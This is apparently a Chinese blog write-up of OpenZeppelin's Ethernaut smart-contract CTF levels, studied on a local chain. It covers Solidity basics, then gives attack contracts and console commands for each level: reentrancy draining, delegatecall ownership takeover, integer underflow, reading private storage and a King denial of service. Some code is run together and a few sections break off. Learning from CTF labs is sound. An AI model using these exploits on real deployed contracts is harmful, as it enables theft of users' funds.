文章目录

  • 前言
  • 环境部署
  • 基础知识
      • tx.origin和msg.sender
      • abi
      • sendTransaction
      • fallback
      • receive
      • 单位
      • transfer send
      • delegatecall和call和callcode
      • function selector
      • selfdestruct
      • 重入攻击
      • 查看某一地址的数据
  • 例题
    • Coin Flip
    • Telephone
    • Token
    • Delegation
    • force
    • unlock
    • king
    • elevator
    • Privacy
    • Re-entrancy

前言

在AAA打ctf的时候了解了区块链这个新赛道,后来在学校也上过区块链安全的课程,前段时间自己抽空学习了一点区块链安全的知识,这里做个简要分享~

环境部署

现在的水房基本不太能用了,所以我们一般做题都是本地搭建一个链
先打开一个terminal,这里我在mac上搭建的

git clone git@github.com:OpenZeppelin/ethernaut.gitcd ethernautyarn install

然后输入

yarn network

这个时候本地的测试链就搭建好了,我们先注册metamask账号,然后连接local network
再打开一个terminal

yarn compile:contracts//这个只需要第一次的时候调用yarn deploy:contractsyarn start:ethernaut

当我们第一次成功部署好环境之后,之后重新配置环境就可以按照如下操作就好

yarn network
yarn deploy:contractsyarn start:ethernaut

基础知识

tx.origin和msg.sender

abi

contract.abi可以查看合约的function

sendTransaction

往以太坊合约转钱

fallback

Solidity语言中关于回退函数fallback()的定义
回退函数是一个不接受任何参数也不返回任何值的特殊函数;

  • 如果在对合约的调用中,没有其它函数与给定的函数标识符匹配时,回退函数会被调用;
  • 每当合约接收到以太币,且没有 receive 函数时,回退函数会被调用;
  • 一个合约中最多可以有一个回退函数。

如果没有给fallback函数定义payable,那就不能给他转钱,只可以弄数据

receive

  • 一个合约最多有一个 receive 函数, 声明函数为: receive() external payable { … }
  • 不需要 function 关键字,也没有参数和返回值并且必须是 external 可见性和 payable 修饰. 它可以是 virtual 的,可以被重载也可以有修改器modifier 。
  • 在对合约没有任何附加数据调用(通常是对合约转账)是会执行 receive 函数。例如 通过 .send() or .transfer() 如果 receive 函数不存在, 但是有payable 的fallback 回退函数,那么在进行纯以太转账时,fallback 函数会调用.
  • 如果两个函数都没有,这个合约就没法通过常规的转账交易接收以太(会抛出异常).
  • 更糟的是,receive 函数可能只有 2300 gas 可以使用(如,当使用 send 或 transfer 时), 除了基础的日志输出之外,进行其他操作的余地很小。

单位

以太币Ether单位之间的换算就是在数字后边加上 wei , gwei 或 ether 来实现的,如果后面没有单位,缺省为 wei。

assert(1 wei == 1);assert(1 gwei == 1e9);assert(1 ether == 1e18);

transfer send


注意看这个transfer和send的实现,都是往调用的地址去转钱

delegatecall和call和callcode

address.call(...) returns (bool)address.delegatecall(...) returns (bool)address.callcode(...) returns (bool)

些函数传入的参数会被填充至32字节,拼接成一个字符串序列,由EVM解析并且执行。
异同点:

  • call: 调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境
  • delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境(相当于复制被调用者的代码到调用者合约)
  • callcode: 调用后内置变量 msg 的值会修改为调用者,但执行环境为调用者的运行环境

function selector

  • 基础原型即是函数名称加上由括号括起来的参数类型列表,参数类型间由一个逗号分隔开,且没有空格
  • 对于 uint 类型,要转成 uint256 进行计算,比如 ownerOf(uint256) 其 Function Selector = bytes4(keccak256(‘ownerOf(uint256)’)) == 0x6352211e
  • 函数参数包含结构体,相当于把结构体拆分成单个参数,只不过这些参数用 () 扩起来,详细可看下面的例子
pragma solidity >=0.4.16 <0.9.0;pragma experimental ABIEncoderV2;contract Demo {struct Test {string name;string policies;uint num;}uint public x;function test1(bytes3) public {x = 1;}function test2(bytes3[2] memory) public{ x = 1; }function test3(uint32 x, bool y) public{ x = 1; }function test4(uint, uint32[] memory, bytes10, bytes memory) public { x = 1; }function test5(uint, Test memory test) public { x = 1; }function test6(uint, Test[] memory tests) public { x = 1; }function test7(uint[][] memory,string[] memory) public { x = 1; }}/* 函数选择器{"0d2032f1": "test1(bytes3)","2b231dad": "test2(bytes3[2])","92e92919": "test3(uint32,bool)","4d189ce2": "test4(uint256,uint32[],bytes10,bytes)","4ca373dc": "test5(uint256,(string,string,uint256))","ccc5bdd2": "test6(uint256,(string,string,uint256)[])","cc80bc65": "test7(uint256[][],string[])","0c55699c": "x()"}*/
function pwn() public {owner = msg.sender;}bytes4(keccak256('pwn()')) //直接在solidityweb3.utils.keccak256("pwn()").slice(0,10) //web3web3.eth.abi.encodeFunctionSignature('pwn()')//web3
0x4d189ce2 // function selector0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter1 - 0x0000000000000000000000000000000000000000000000000000000000000080 // offset of second parameter2 - 0x3132333435363738393000000000000000000000000000000000000000000000 // data of third parameter3 - 0x00000000000000000000000000000000000000000000000000000000000000e0 // offset of forth parameter4 - 0x0000000000000000000000000000000000000000000000000000000000000002 // length of second parameter5 - 0x0000000000000000000000000000000000000000000000000000000011221122 // first data of second parameter6 - 0x0000000000000000000000000000000000000000000000000000000033443344 // second data of second parameter7 - 0x0000000000000000000000000000000000000000000000000000000000000005 // length of forth parameter8 - 0x3132333435000000000000000000000000000000000000000000000000000000 // data of forth parameter/* 一些解释说明data of first parameter: uint 定长类型,直接存储其 dataoffset of second parameter: uint32[] 动态数组,先存储其 offset=0x20*4 ( 4 代表函数参数的个数 ) data of third parameter: bytes10 定长类型,直接存储其 dataoffset of forth parameter: bytes 变长类型,先存储其 offset=0x80+0x20*3=0xe0 (0x80 是前一个变长类型的 offset,3 是前一个变长类型存储其长度和两个元素占用的插槽个数)length of second parameter: 存储完 data 或者 offset 后,便开始存储变长数据的 length 和 data,这里是第二个参数的长度first data of second parameter: 第二个参数的第一个数据second data of second parameter: 第二个参数的第二个数据length of forth parameter: 上面就把第二个变长数据存储完成,这里就是存储下一个变长数据的长度data of forth parameter: 第四个参数的数据*/
0x4ca373dc // function selector0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter1 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of second parameter2 - 0x0000000000000000000000000000000000000000000000000000000000000060 // first data offset of second parameter3 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // second data offset of second parameter4 - 0x000000000000000000000000000000000000000000000000000000000000007b // third data of second parameter5 - 0x0000000000000000000000000000000000000000000000000000000000000003 // first data length of second parameter6 - 0x6378790000000000000000000000000000000000000000000000000000000000 // first data of second parameter7 - 0x0000000000000000000000000000000000000000000000000000000000000004 // second data length of second parameter8 - 0x70696b6100000000000000000000000000000000000000000000000000000000 // second data of second parameter/* 一些解释说明data of first parameter: uint 定长类型,直接存储其 dataoffset of second parameter: 结构体,先存储其 offset=0x20*2 ( 2 代表函数参数的个数) first data offset of second parameter: 结构体内元素可当成函数参数拆分,有三个元素,因第一个元素是 string 类型,所以先存储其 offset=0x20*3=0x60second data offset of second parameter: 结构体第二个元素是 string 类型,先存储其 offset=0x60+0x20+0x20=0xa0 (第一个 0x20 是存储第一个 string 的长度所占大小,第二个 0x20 是存储第一个 string 的数据所占大小)third data of second parameter: 结构体第三个元素是 uint 定长类型,直接存储其 datafirst data length of second parameter: 存储结构体第一个元素的 lengthfirst data of second parameter: 存储结构体第一个元素的 datasecond data length of second parameter: 存储结构体第二个元素的 lengthsecond data of second parameter: 存储结构体第二个元素的 data*/

selfdestruct

重入攻击


其中,转账使用的是 address.call.value()() 函数,传递了所有可用 gas 供调用,是可以成功执行递归的前提条件

查看某一地址的数据

(await contract.prize()).toNumber()

https://learnblockchain.cn/docs/solidity

例题

Coin Flip

伪随机数问题,下面的值我们也可以在本地算出来的,所以直接写一个攻击的协议即可

 uint256 blockValue = uint256(blockhash(block.number - 1));
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;interface CoinFlip {function flip(bool _guess) externalreturns (bool) ;} contract attack{CoinFlip constant private target = CoinFlip(0x9bd03768a7DCc129555dE410FF8E85528A4F88b5);uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;uint256 lastHash;function guess() public{uint256 blockValue = uint256(blockhash(block.number - 1));if (lastHash == blockValue) {revert();}lastHash = blockValue;uint256 coinFlip = blockValue / FACTOR;bool side = coinFlip == 1 " />Telephone 

考察tx.orgin和msg.sender的概念,如果我们用户直接调用题目合约,那么tx.origin和msg.sender都是用户,而我们通过创建一个新的合约去调用,那么对于题目的合约来说,tx.origin还是用户,但是msg.sender就是我们的合约,就通过了if的判断

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;interface Telephone {function changeOwner(address _owner) external;}contract attack{event Log(address);Telephone constant privatetarget=Telephone(0x4F57F9239eFCBf43e5920f579D03B3849C588396);function hack() public{emit Log(msg.sender);emit Log(tx.origin);target.changeOwner(msg.sender);}}

Token

溢出问题,

 function transfer(address _to, uint _value) public returns (bool) {require(balances[msg.sender] - _value >= 0);balances[msg.sender] -= _value;balances[_to] += _value;return true;}

这里的balances都是uint,uint-uint还是unint,但是20-21就会变成很大,所以我们转21就好

Delegation

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Delegate {address public owner;constructor(address _owner) {owner = _owner;}function pwn() public {owner = msg.sender;}}contract Delegation {address public owner;Delegate delegate;constructor(address _delegateAddress) {delegate = Delegate(_delegateAddress);owner = msg.sender;}fallback() external {(bool result,) = address(delegate).delegatecall(msg.data);if (result) {this;}}}

这里想修改owner只有pwn方法可以,然后注意delegatecall上下文执行环境就是我们的Delegation合约,所以只要调用pwn就会修改owner,这里还要注意一个点,
因为fallback没有加上payable

await contract.sendTransaction({value:1,data:web3.utils.keccak256("pwn()").slice(0,10)})

所以我们这样就可以

await contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)})

force

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Force {/* MEOW " />unlock 
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Vault {bool public locked;bytes32 private password;constructor(bytes32 _password) {locked = true;password = _password;}function unlock(bytes32 _password) public {if (password == _password) {locked = false;}}}

这里第0槽是locked,然后第1槽是password,因为byts32刚好是256,占满了
读取私有变量内容

await web3.eth.getStorageAt(contract.address,1)

king

这道题目是让我们成为king以后其他人不会成为king,成为king很简单,我们可以查看prize
(await contract.prize()).toNumber
然后选一个大的值就好
然后就是要让transfer执行失败,对于send和call来说,他们就算转账失败只会返回false,但是transfer会报错,就会revet,不会继续执行,那我们就在对应的recevie里函数触发异常

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract King {address king;uint public prize;address public owner;constructor() payable {owner = msg.sender;king = msg.sender;prize = msg.value;}receive() external payable {require(msg.value >= prize || msg.sender == owner);payable(king).transfer(msg.value);king = msg.sender;prize = msg.value;}function _king() public view returns (address) {return king;}}
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract attack{address target=0xa9b19BA63eD2fFa19f50a63Bddf5F4a0092678C7;constructor()payablepublic{//创建的时候给1etherpayable(target).call{value:100000000000000000}("");}function receive() payable external {require(false);}}

这样也是可以转账的
web3.eth.sendTransaction({from:player,to:contract.address,value:100000000000000000})
这种题目我们就在构造函数里转钱就好,然后创建的时候给点ether就好
这个地方不可以用send或者是transfer,因为这两个是固定2300gas,但这里根据提示需要21400gas,就不行

elevator

简单的题,根据状态返回就好

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Elevator {function goTo(uint _floor) external{}}contract Building {bool public flag=false;Elevator constant target=Elevator(0x524F04724632eED237cbA3c37272e018b3A7967e);function isLastFloor(uint _floor) public returns (bool){ if(!flag){flag=true;return false;}else{return true;}}function exploit() public{target.goTo(1);}}

Privacy

算出在第五个,然后因为取的byte16,就感觉是前32个,加上0x就是34个,然后提交就好

(await web3.eth.getStorageAt(contract.address,5)).slice(0,34)await contract.unlock('0xff9c98d7a9d6a5e1830825dadc3f9c96');

Re-entrancy

awaitweb3.eth.getBalance(contract.address) 获取账户余额
版本低一点,不然payable(this)还是不行

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Reentrance {function donate(address _to) externalpayable {}function withdraw(uint _amount) external{}}contract attack{Reentrancetarget=Reentrance(0x29BDCBc116f3775698AE0ffE5F8fbBaf95F240CF);bool flag=true;constructor() payable public {target.donate{value:1000000000000000}(payable(this));}function explotit()public{target.withdraw(1000000000000000);}fallback()external payable {if(flag){ flag=false; target.withdraw(1000000000000000);}}}

这里好像如果我用call的话转账会失败,可能是要攻击的合约gas不够,所以我们直接调用~就可以发现成功重入